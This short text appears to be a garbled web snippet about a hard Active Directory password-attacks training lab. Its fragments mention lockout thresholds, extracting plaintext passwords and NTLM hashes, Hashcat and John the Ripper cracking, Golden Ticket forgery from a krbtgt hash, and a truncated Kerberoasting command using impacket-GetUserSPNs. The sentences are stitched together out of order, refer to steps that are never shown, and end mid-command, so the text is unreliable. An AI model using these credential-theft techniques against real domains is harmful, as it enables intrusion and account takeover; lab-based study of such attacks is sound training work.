Password Attacks Lab - Hard =link=

In a hard lab, the domain controller has an account lockout threshold (e.g., 5 attempts in 10 minutes). You cannot brute force Administrator directly.

This extracts plaintext passwords and NTLM hashes without ever touching mimikatz . Password Attacks Lab - Hard

A dedicated GPU (NVIDIA preferred) is essential for efficient hashing computations. Toolset: Hashcat: The fastest tool for GPU-based cracking. John the Ripper: Versatile for various hash formats.

If you compromise a domain controller's krbtgt hash (the Hard Lab's ultimate goal), you forge a Golden Ticket. This gives you eternal domain admin . impacket-GetUserSPNs -request -dc-ip 192
